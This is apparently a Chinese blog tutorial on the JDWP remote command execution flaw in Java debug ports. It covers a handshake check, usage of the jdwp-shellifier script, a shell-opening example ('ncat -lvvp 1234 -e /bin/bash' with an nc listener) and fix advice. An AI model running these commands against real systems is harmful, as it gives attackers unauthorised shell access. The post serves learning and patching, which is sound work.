JDWP 远程命令执行漏洞
0x01. Java 调试体系JPDA简介
JPDA(Java Platform Debugger Architecture):即Java平台调试体系架构。Java虚拟机设计的专门的API接口供调试和监控虚拟机使用
JPDA按照抽象层次,又分为三层,分别是:
-
JVM TI(Java VM Tool Interface):虚拟机对外暴露的接口,包括debug和profile。 JDWP(Java Debug Wire Protocol):调试器和应用之间通信的协议。 JDI(Java Debug Interface):Java库接口,实现了JDWP协议的客户端,调试器可以用来和远程被调试应用通信。
0x02. JDWP简介
0x03. JDK 自带的一些命令行调试工具
0x04. JDWP 远程命令执行漏洞
漏洞验证:
telnet端口后,输入命令JDWP-Handshake,
如果返回JDWP-Handshake,证明存在漏洞。而且如果输入JDWP-Handshake的速度不够快的话,连接很快就会断开。
telnet 目标IP 目标端口
漏洞利用脚本:https://github.com/IOActive/jdwp-shellifier
使用方法:
python jdwp-shellifier.py -t 目标主机ip -p jdwp运行端口 --cmd "Your Command"
比如我们可以执行一个反弹shell的命令:
漏洞利用过程如下:
- 攻击者主机上执行监听命令:
nc -lvvp 1234
- 被攻击的目标主机上执行命令:
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "ncat -lvvp 1234 -e /bin/bash"
注:nc反弹shell有好几种方法,请根据具体情况进行修改,也可用其他方式反弹shell。
0x05. 修复建议
- 关闭JDWP端口,或者JDWP端口不对公网开放
- 关闭Java的debug模式(开启该模式对服务器性能有影响)
其他修复方法只要合理,也是可以采用的。
https://toutiao.io/posts/156157/app_preview
http://tinylab.org/use-jdb-to-debug-android-application/
上一篇:
5款热门的远程控制软件,让你事半功倍
下一篇:
快速排序——链表快排